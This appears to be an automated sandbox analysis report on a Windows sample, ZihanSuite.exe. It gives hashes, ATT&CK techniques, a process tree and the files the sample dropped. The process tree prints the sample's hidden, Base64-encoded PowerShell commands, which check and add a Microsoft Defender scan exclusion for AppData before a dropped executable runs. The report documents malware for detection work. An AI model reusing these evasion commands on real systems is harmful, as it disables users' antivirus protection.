4a0ddb095f5707650cd8558828972577a6fcaf683eb5811fede4fba5aac60924

Analysis

max time kernel
149s
max time network
164s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/08/2026, 23:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ZihanSuite.exe
Size 180.0MB
Sample260810-3pgxwsbr7v
SHA256 4a0ddb095f5707650cd8558828972577a6fcaf683eb5811fede4fba5aac60924
MD5 12ec152df40df7127c5ff94e0f686de8
SHA1 d8c2281fbd00094696d3f670e73939ca5eeca8bf
SHA512 adb0c121252e14d7fa502bae4ed7dd45027db80d87f3a46eaecba9b3f4f49d4f5aa185ee642ec4e3f8d0c0016b7199b1d47079054f93fe8dbfbf6352e4a1dee1
SSDEEP 1572864:pH0f0gqxb0WBFh/LVO9dyKcRmAswCXj5EtV4ga5h0q2ZOADpAyK5/Y3P8kbVr+qI:esok+hK7
TLSH
T1EE988C03F39A50D9E01DD1B58B9B9633EAB1B8854324A2DF27540B512F77EE86B3DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5000	powershell.exe
4388	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
656	5rjtxllqce.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4796	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ZihanSuite.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	ZihanSuite.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	ZihanSuite.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	ZihanSuite.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	ZihanSuite.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	ZihanSuite.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	ZihanSuite.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ZihanSuite.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	ZihanSuite.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	ZihanSuite.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4916	WMIC.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1074038928-2032447174-945360078-1000\{5DAD6678-0DD0-4454-804C-28AAFEDA21B0}	5rjtxllqce.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5000	powershell.exe
5000	powershell.exe
4388	powershell.exe
4388	powershell.exe
656	5rjtxllqce.exe
656	5rjtxllqce.exe
656	5rjtxllqce.exe
656	5rjtxllqce.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4916	WMIC.exe
Token: SeSecurityPrivilege	4916	WMIC.exe
Token: SeTakeOwnershipPrivilege	4916	WMIC.exe
Token: SeLoadDriverPrivilege	4916	WMIC.exe
Token: SeSystemProfilePrivilege	4916	WMIC.exe
Token: SeSystemtimePrivilege	4916	WMIC.exe
Token: SeProfSingleProcessPrivilege	4916	WMIC.exe
Token: SeIncBasePriorityPrivilege	4916	WMIC.exe
Token: SeCreatePagefilePrivilege	4916	WMIC.exe
Token: SeBackupPrivilege	4916	WMIC.exe
Token: SeRestorePrivilege	4916	WMIC.exe
Token: SeShutdownPrivilege	4916	WMIC.exe
Token: SeDebugPrivilege	4916	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4916	WMIC.exe
Token: SeRemoteShutdownPrivilege	4916	WMIC.exe
Token: SeUndockPrivilege	4916	WMIC.exe
Token: SeManageVolumePrivilege	4916	WMIC.exe
Token: 33	4916	WMIC.exe
Token: 34	4916	WMIC.exe
Token: 35	4916	WMIC.exe
Token: 36	4916	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4916	WMIC.exe
Token: SeSecurityPrivilege	4916	WMIC.exe
Token: SeTakeOwnershipPrivilege	4916	WMIC.exe
Token: SeLoadDriverPrivilege	4916	WMIC.exe
Token: SeSystemProfilePrivilege	4916	WMIC.exe
Token: SeSystemtimePrivilege	4916	WMIC.exe
Token: SeProfSingleProcessPrivilege	4916	WMIC.exe
Token: SeIncBasePriorityPrivilege	4916	WMIC.exe
Token: SeCreatePagefilePrivilege	4916	WMIC.exe
Token: SeBackupPrivilege	4916	WMIC.exe
Token: SeRestorePrivilege	4916	WMIC.exe
Token: SeShutdownPrivilege	4916	WMIC.exe
Token: SeDebugPrivilege	4916	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4916	WMIC.exe
Token: SeRemoteShutdownPrivilege	4916	WMIC.exe
Token: SeUndockPrivilege	4916	WMIC.exe
Token: SeManageVolumePrivilege	4916	WMIC.exe
Token: 33	4916	WMIC.exe
Token: 34	4916	WMIC.exe
Token: 35	4916	WMIC.exe
Token: 36	4916	WMIC.exe
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeShutdownPrivilege	3952	ZihanSuite.exe
Token: SeCreatePagefilePrivilege	3952	ZihanSuite.exe
Token: SeDebugPrivilege	4388	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3952 wrote to memory of 3532	3952	ZihanSuite.exe	86
PID 3952 wrote to memory of 3532	3952	ZihanSuite.exe	86
PID 3952 wrote to memory of 4796	3952	ZihanSuite.exe	87
PID 4796 wrote to memory of 4916	4796	cmd.exe	89
PID 3952 wrote to memory of 5000	3952	ZihanSuite.exe	91
PID 3952 wrote to memory of 4388	3952	ZihanSuite.exe	94
PID 3952 wrote to memory of 656	3952	ZihanSuite.exe	96
PID 3952 wrote to memory of 4336	3952	ZihanSuite.exe	97

C:\Users\Admin\AppData\Local\Temp\ZihanSuite.exe
"C:\Users\Admin\AppData\Local\Temp\ZihanSuite.exe"
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Users\Admin\AppData\Local\Temp\ZihanSuite.exe
  "C:\Users\Admin\AppData\Local\Temp\ZihanSuite.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\zihansuite-1rn4jx" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1764,i,10423704058573126398,4047841269619399529,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --disable-logging --mojo-platform-channel-handle=1756 /prefetch:2
  2⤵
  PID:3532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /format:list"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name /format:list
    3⤵
    - Detects videocard installed
    - Suspicious use of AdjustPrivilegeToken
    PID:4916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JAB0AGEAcgBnAGUAdAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAJwA7ACAAdAByAHkAIAB7ACAAJABsAGkAcwB0ACAAPQAgACgARwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAApAC4ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAA7ACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAGUAcQAgACQAbABpAHMAdAApACAAewAgACQAZgBhAGwAcwBlACAAfQAgAGUAbABzAGUAIAB7ACAAKAAkAGwAaQBzAHQAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4AVABvAEwAbwB3AGUAcgAoACkAIAAtAGUAcQAgACQAdABhAHIAZwBlAHQALgBUAG8ATABvAHcAZQByACgAKQAgAH0AKQAuAEMAbwB1AG4AdAAgAC0AZwB0ACAAMAAgAH0AIAB9ACAAYwBhAHQAYwBoACAAewAgACQAZgBhAGwAcwBlACAAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4388
- C:\Users\Admin\AppData\.fgu2xt2v\5rjtxllqce.exe
  C:\Users\Admin\AppData\.fgu2xt2v\5rjtxllqce.exe
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:656
- C:\Users\Admin\AppData\Local\Temp\ZihanSuite.exe
  "C:\Users\Admin\AppData\Local\Temp\ZihanSuite.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\zihansuite-1rn4jx" --field-trial-handle=2120,i,10423704058573126398,4047841269619399529,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --disable-logging --mojo-platform-channel-handle=2116 /prefetch:3
  2⤵
  PID:4336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5rjtxllqce.exe

Path C:\Users\Admin\AppData\.fgu2xt2v\5rjtxllqce.exe
Size 3.2MB
SHA256 9ccd8017fb72d5fbfba8d83eccc8b0e2253a14d8906580b470cda18edce84f80
MD5 359dfb305458620f59c6b17c9bc416f3
SHA1 0e9dbe51a2c639df690df82749020b2d2065ed91
SHA512 7e82127b42266243306f66fbd4212d15d63a487f6558b0c46f3d7d03abb25ee0be3e06be9b8c4f97f9045ceeba8e72fa1b9fffd575790b6471646326ac9fe363
SSDEEP 49152:asR9ryV/TQcuUxk6U2E+M22zg5qoV16No0WWIwia6PMWtS9FhXDB+YG53LeuXAC0:xvyWEkn+MxouIW6K9FhTB25yuXA/
TLSH
T1D5F523F1A5DA2DB0E0A7F771060BA57E302E3BD3C2784C0B33E879561E56905473ABA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 e0fb8dab58849435637b0b656f4ce25eeae547f41c26e1ad1834c7ec83c9ff2b
MD5 d37bffc4eb3661586f76308631fca0d7
SHA1 b2c2c2c91d8048b26e088e716a3f76f1343a0806
SHA512 1b1e3a5f8a77411fb136ca208f987d7d61c5d2e18ae816746f120adbef2d021ae39bd8996d4968b944ee274e80e64929e861e578449ff60ab8451336e05da6be
TLSH
T1C5112223F38C8921DC96163A509DAC5172B686CB81AFDF9F7FC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2041asmu.li4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2041asmu.li4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/656-33-0x00007FFE1B090000-0x00007FFE1B092000-memory.dmp

Download

memory/656-34-0x0000000140000000-0x000000014059C000-memory.dmp

Download

memory/4388-23-0x000001E956120000-0x000001E95633C000-memory.dmp

Download

memory/5000-8-0x00000215245A0000-0x00000215245C2000-memory.dmp

Download

memory/5000-12-0x00000215246E0000-0x00000215248FC000-memory.dmp

Download